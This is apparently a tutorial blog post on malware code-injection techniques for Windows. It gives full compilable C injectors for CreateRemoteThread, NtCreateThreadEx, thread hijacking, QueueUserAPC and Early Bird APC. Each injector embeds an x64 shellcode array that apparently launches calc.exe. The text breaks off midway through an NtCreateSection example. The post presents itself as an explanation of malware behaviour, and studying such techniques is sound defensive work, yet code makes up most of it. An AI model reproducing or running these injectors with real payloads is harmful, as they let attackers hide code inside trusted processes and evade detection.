Home Malware Code Injection
Post
Cancel

Malware Code Injection

This post goes through some of the most common Code Injection techniques used by malware to execute code within the virtual address space of a remote process. The techniques described in this post are often used by Malware to migrate to more stable processes such as explorer.exe or svchost.exe, or to gain access to information within the virtual address space of another process.

All examples in this post were compiled using the MinGW-w64 compiler.

Create Remote Thread

The simplest and most common technique used to execute code within a remote process is using the Create Remote Thread function. Create Remote Thread is Microsoft’s official way of creating a thread that runs in the virtual address space of a remote process.

The following application injects and executes the provided Shellcode into the process whose PID is provided as the first argument. Once executed, the shellcode will spawn a Windows calculator.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
#include <windows.h>

int main (int argc, char * argv[])
{
  // Execute Calc.exe

  unsigned char Shellcode[] = {
     0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51,
     0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52,
     0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72,
     0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
     0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,
     0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b,
     0x42, 0x3c, 0x48, 0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
     0x85, 0xc0, 0x74, 0x67, 0x48, 0x01, 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44,
     0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41,
     0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
     0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1,
     0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44,
     0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44,
     0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01,
     0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,
     0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41,
     0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48,
     0xba, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d,
     0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5,
     0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,
     0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0,
     0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89,
     0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c, 0x63, 0x2e, 0x65, 0x78, 0x65, 0x00
  };

  HANDLE      hProcess;
  HANDLE      hThread;
  PVOID       pExecMemory;
  DWORD       dPid;
  DWORD       dShellcodeSize;

  dPid      =   atoi(argv[1]);

  if (dPid == 0) {
    return -1;
  }

  dShellcodeSize    =     sizeof(Shellcode);

  /*
    1. Open the Target Process using OpenProcess.
  */

  hProcess          =     OpenProcess(PROCESS_ALL_ACCESS, FALSE, dPid);

  /*
    2. Allocate a RWX memory region within the Virtual Address space of
    the target using VirtualAllocEx.
  */

  pExecMemory       =     VirtualAllocEx(hProcess, NULL, dShellcodeSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);

  /*
    3. Copy the Shellcode to the newly allocated memory region using the
    WriteProcessMemory function.
  */

  WriteProcessMemory (hProcess, pExecMemory, Shellcode, dShellcodeSize, NULL);

  /*
    4. Create a new thread that runs within the Virtual Address space of
    the target using the CreateRemoteThread function.
  */

  hThread           =     CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE) pExecMemory, NULL, 0, NULL);

  CloseHandle(hProcess);

  return 0;
}

NT Create Thread

Rather than using Create Remote Thread, Malware authors may choose to use the lower-level, NT Create Thread function. Unlike Create Remote Thread, this function is undocumented and is not defined inside Windows header files. Because of this, the authors are required to define the function manually and search the for the function’s address before it can be called.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
#include <windows.h>
#include <stdio.h>

#pragma comment (lib, "user32.lib")

/*
 * 1. Define the NT Create Thread Ex signature.
 *
 * Since the NT Create Thread function is not included inside the Windows Headers, we must
 * define the function's signature ourselves in order to use it as a normal C function.
 */

typedef NTSTATUS (NTAPI * NtCreateThreadEx_t) (
  OUT PHANDLE       hThread,
  IN  ACCESS_MASK   DesiredAccess,
  IN  PVOID         ObjectAttributes,
  IN  HANDLE        ProcessHandle,
  IN  PVOID         lpStartAddress,
  IN  PVOID         lpParameter,
  IN  ULONG         Flags,
  IN  SIZE_T        StackZeroBits,
  IN  SIZE_T        SizeOfStackCommit,
  IN  SIZE_T        SizeOtStackReserve,
  OUT PVOID         lpBytesBuffer
);

unsigned char Shellcode[] = {
  0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51,
  0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52,
  0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72,
  0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
  0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,
  0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b,
  0x42, 0x3c, 0x48, 0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
  0x85, 0xc0, 0x74, 0x67, 0x48, 0x01, 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44,
  0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41,
  0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
  0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1,
  0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44,
  0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44,
  0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01,
  0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,
  0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41,
  0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48,
  0xba, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d,
  0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5,
  0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,
  0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0,
  0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89,
  0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c, 0x63, 0x2e, 0x65, 0x78, 0x65, 0x00
};

int main (int argc, char * argv[])
{
  DWORD               dPid;
  HANDLE              hProcess;
  HANDLE              hThread;
  LPVOID              lpShellcode;
  HMODULE             hKernel32;
  HMODULE             hNtdll;
  LPVOID              lpLoadLibrary;
  NtCreateThreadEx_t  NtCreateThreadEx;

  /*
   * 2. Open a handle to the NTDLL library and get the address of NTCreateThreadEx function.
   */

  hNtdll              =   GetModuleHandle("ntdll");
  NtCreateThreadEx    =  (NtCreateThreadEx_t) GetProcAddress(hNtdll, "NtCreateThreadEx");

  if (NtCreateThreadEx == NULL) {
    printf("Could not find NtThreadEx.\n");
    return -1;
  }

  dPid                =   atoi(argv[1]);

  /*
    3. Open the Target Process using OpenProcess.
  */

  hProcess            =   OpenProcess(PROCESS_ALL_ACCESS, FALSE, dPid);

  if (hProcess == NULL)
  {
    printf("Could not open target process.\n");
    return -1;
  }

  /*
    4. Allocate a RWX memory region within the Virtual Address space of
       the target using VirtualAllocEx.
  */

  lpShellcode          =  VirtualAllocEx(hProcess, NULL, sizeof(Shellcode), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);

  /*
    5. Copy the Shellcode to the newly allocated memory region using the
    WriteProcessMemory function.
  */

  WriteProcessMemory (hProcess, lpShellcode, Shellcode, sizeof(Shellcode), NULL);

  /*
    6. Create a new Thread within the target process using our NT Create Thread Ex.
  */

  NtCreateThreadEx (&hThread, 0x1FFFFF, NULL, hProcess, (LPTHREAD_START_ROUTINE) lpShellcode, NULL, FALSE, 0, 0, 0, NULL);

  if (hThread == NULL)
  {
    printf("Create Thread Ex Failed.\n");
    CloseHandle(hProcess);

    return -1;
  }

  printf("Thread handle Created!\n");

  /*
    7. Wait for the Thread to finish and close all handles.
  */

  WaitForSingleObject(hThread, -1);

  CloseHandle(hThread);
  CloseHandle(hProcess);

}

Thread Hijack

Instead of creating a new thread within the target process, Malware authors may choose to execute their Shellcode by hijacking an already running thread within the target process. Although this technique has a higher chance of crashing the target process, this technique avoids creating a new thread within the target process, making it more difficult to detect.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>

// Execute Calc.exe

unsigned char Shellcode[] = {
    0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51,
    0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52,
    0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72,
    0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
    0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,
    0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b,
    0x42, 0x3c, 0x48, 0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
    0x85, 0xc0, 0x74, 0x67, 0x48, 0x01, 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44,
    0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41,
    0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
    0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1,
    0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44,
    0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44,
    0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01,
    0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,
    0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41,
    0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48,
    0xba, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d,
    0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5,
    0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,
    0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0,
    0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89,
    0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c, 0x63, 0x2e, 0x65, 0x78, 0x65, 0x00
};

int main (int argc, char * argv[])
{

  HANDLE          hProcess;
  HANDLE          hThread;
  HANDLE          hSnapshot;
  
  THREADENTRY32   TE;
  CONTEXT         hThreadContext;

  PVOID           pShellcode;
  DWORD           dPid;
  DWORD           dShellcodeSize;

  dPid      =   atoi(argv[1]);

  if (dPid == 0) {
    printf("Enter a valid PID\n");
    return -1;
  }

  dShellcodeSize      =   sizeof(Shellcode);
  
  /*
    1. Open the Target Process using OpenProcess.
  */

  hProcess            =   OpenProcess(PROCESS_ALL_ACCESS, FALSE, dPid);
  
  /*
    2. Allocate a RWX memory region within the Virtual Address space of
    the target using VirtualAllocEx.
  */

  pShellcode          =   VirtualAllocEx(hProcess, NULL, dShellcodeSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);

  /*
    3. Copy the Shellcode to the newly allocated memory region using the
    WriteProcessMemory function.
  */

  WriteProcessMemory(hProcess, pShellcode, Shellcode, dShellcodeSize, NULL);

  /* 
   * 4. Find a thread running within our target process
   */

  hSnapshot           =   CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
  TE.dwSize           =   sizeof(THREADENTRY32);

  if (hSnapshot == INVALID_HANDLE_VALUE) {
    return -1;
  }

  if (Thread32First(hSnapshot, &TE)) {
    do 
    {
      // Check if the current thread belongs to our target process.

      if (dPid == TE.th32OwnerProcessID)
      {
        // Attempt to open a handle to the thread.

        hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, TE.th32ThreadID);

        if (hThread != NULL)
        {
          break;
        }
      }
    }while (Thread32Next(hSnapshot, &TE));
  }

  if (hThread == NULL) {
    printf("Could not find a suitable Thread.\n");
    return -1;
  }

  /*
   * 5. Suspend the Thread so that we can retrieve and modify it's context.
   */
   
  SuspendThread(hThread);

  /*
   * 6. Retrieve the thread's context and modify it's instruction pointer to point
   *  to our shellcode
   */

  GetThreadContext(hThread, &hThreadContext);
  hThreadContext.Rip = (DWORD_PTR) pShellcode;
  SetThreadContext(hThread, &hThreadContext);

  /*
   * 7. Resume the thread.
   */

  ResumeThread(hThread);

  CloseHandle(hProcess);

  return 0;
}

Queue User APC

The Queue User APC function can be used to add a user-mode APC object to a thread’s APC queue. After entering an alertable state, the thread internally calls NT Test Alert to empty the thread’s APC queue and service all pending APCs. Malware authors may use this technqiue to queue an APC inside a thread running within a target process and execute code within the virtual address space of that process.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>

#pragma comment (lib, "ntdll")

unsigned char Shellcode[] = {
  0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51,
  0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52,
  0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72,
  0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
  0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,
  0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b,
  0x42, 0x3c, 0x48, 0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
  0x85, 0xc0, 0x74, 0x67, 0x48, 0x01, 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44,
  0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41,
  0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
  0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1,
  0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44,
  0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44,
  0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01,
  0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,
  0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41,
  0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48,
  0xba, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d,
  0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5,
  0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,
  0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0,
  0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89,
  0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c, 0x63, 0x2e, 0x65, 0x78, 0x65, 0x00
};

int main (int argc, char * argv[]) 
{
  HMODULE         hProcess;
  DWORD           dPid;
  LPVOID          pShellcode;
  DWORD           dShellcodeSize;

  HANDLE          hSnapshot;
  HANDLE          hThread;
  THREADENTRY32   TE;
  
  dPid              =     atoi(argv[1]);

  /*
   * 1. Open the Process whose PID was given as the first argument. 
   */

  hProcess          =     OpenProcess(PROCESS_ALL_ACCESS, FALSE, dPid);

  if (hProcess == NULL) {
    printf("Cannot open Process. Please check the provided PID\n");
    return -1;
  }

  TE.dwSize         =     sizeof(THREADENTRY32);
  dShellcodeSize    =     sizeof(Shellcode);

  /*
   * 2. Allocate an executable memory region within the Virtual Address space of the target process.
   */

  pShellcode        =     VirtualAllocEx(hProcess, NULL, dShellcodeSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);

  /*
   * 3. Copy our Shellcode into the newly created executable region within the Virtual Address space of the target process.
   */

  WriteProcessMemory(hProcess, pShellcode, Shellcode, dShellcodeSize, NULL);

  // Take a Snapshot of all running threads.

  hSnapshot         =     CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);

  if (Thread32First(hSnapshot, &TE)) 
  {
    do 
    {
      // Check whether this Thread belongs to our Target Process.

      if (dPid == TE.th32OwnerProcessID) 
      {
        // Open the Thread.

        hThread = OpenThread(THREAD_SET_CONTEXT, FALSE, TE.th32ThreadID);

        if (hThread) {
          /*
           * 4. Queue an APC function to a thread belonging to our remote process.
           */
          QueueUserAPC((PAPCFUNC)pShellcode, hThread, 0);
          CloseHandle(hThread);
          break;
        }
      } 
    } while (Thread32Next(hSnapshot, &TE));
  }

  CloseHandle(hProcess);
  
  return 0; 
}

Early Bird APC

The Early Bird APC Code Injection technique is a derivative of the APC technique described above. This technique involves creating a process in a suspended state, queueing an APC, and finally resuming the process and hence, the main thread. Once resumed, the thread calls NT Test Alert to check the queue and subsequently executes our queued APC.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
#include <windows.h>

#define EXECUTABLE      "C:\\Windows\\System32\\Notepad.exe"

unsigned char Shellcode[] = {
  0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51,
  0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52,
  0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72,
  0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
  0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,
  0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b,
  0x42, 0x3c, 0x48, 0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
  0x85, 0xc0, 0x74, 0x67, 0x48, 0x01, 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44,
  0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41,
  0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
  0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1,
  0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44,
  0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44,
  0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01,
  0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,
  0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41,
  0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48,
  0xba, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d,
  0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5,
  0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,
  0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0,
  0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89,
  0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c, 0x63, 0x2e, 0x65, 0x78, 0x65, 0x00
};

int main() {
  STARTUPINFO             SI;
  PROCESS_INFORMATION     PI;
  LPVOID                  pShellcode;
  DWORD                   dShellcodeSize;
  PTHREAD_START_ROUTINE   APC;

  dShellcodeSize    =     sizeof(Shellcode);

  ZeroMemory (&SI, sizeof(SI));
  ZeroMemory (&PI, sizeof(PI));

  SI.cb             =     sizeof(SI);

  /*
   * 1. Create a new Process in a Suspended State.
   */

  CreateProcessA(EXECUTABLE, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &SI, &PI);

  // Wait for the Process to be created. 

  WaitForSingleObject(PI.hProcess, 5000);

  /*
   * 2. Allocate a new RWX memory region inside the Suspended process.
   */

  pShellcode          =     VirtualAllocEx(PI.hProcess, NULL, dShellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

  /*
   * 3. Copy the Shellcode inside the newly allocated memory region. 
   */

  WriteProcessMemory(PI.hProcess, pShellcode, Shellcode, dShellcodeSize, NULL);

  APC = (PTHREAD_START_ROUTINE) pShellcode;

  /*
   * 4. Add the Executable Shellcode to the APC queue of the suspended process 
   * main thread.
   */

  QueueUserAPC((PAPCFUNC)APC, PI.hThread, 0);

  /*
   * 5. Resume the Thread for NtTestAlert() to be called and our Shellcode executed.
   */

  ResumeThread(PI.hThread);

  return 0;
}

NT Create Section

The techniques we looked at so far all used the VirtualAllocEx and WriteProcessMemory functions to allocate an executable memory region and copy the shellcode to the target process. An alternative to this process is using the NT Create Section function.

By using the Nt Create Section function, Malware authors are able to create a writable section object, map the section inside the local and remote processes, copy the shellcode into the view within the local process, and finally execute the shellcode from the target processes by creating a new thread.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
#include <windows.h>
#include <stdio.h>

#pragma comment(lib, "ntdll")

typedef struct _LSA_UNICODE_STRING 
{ 
    USHORT            Length;
    USHORT            MaximumLength;
    PWSTR             Buffer;
} UNICODE_STRING, * PUNICODE_STRING;

typedef struct _OBJECT_ATTRIBUTES 
{
    ULONG             Length;
    HANDLE            RootDirectory;
    PUNICODE_STRING   ObjectName;
    ULONG             Attributes;
    PVOID             SecurityDescriptor;
    PVOID             SecurityQualityOfService;
} OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES;

typedef struct _CLIENT_ID 
{ 
    PVOID             UniqueProcess;
    PVOID             UniqueThread;
} CLIENT_ID, * PCLIENT_ID;

typedef NTSTATUS (NTAPI* NtCreateSection_t)(
    OUT PHANDLE       SectionHandle,
    IN ULONG          DesiredAccess,
    IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,
    IN PLARGE_INTEGER MaximumSize OPTIONAL,
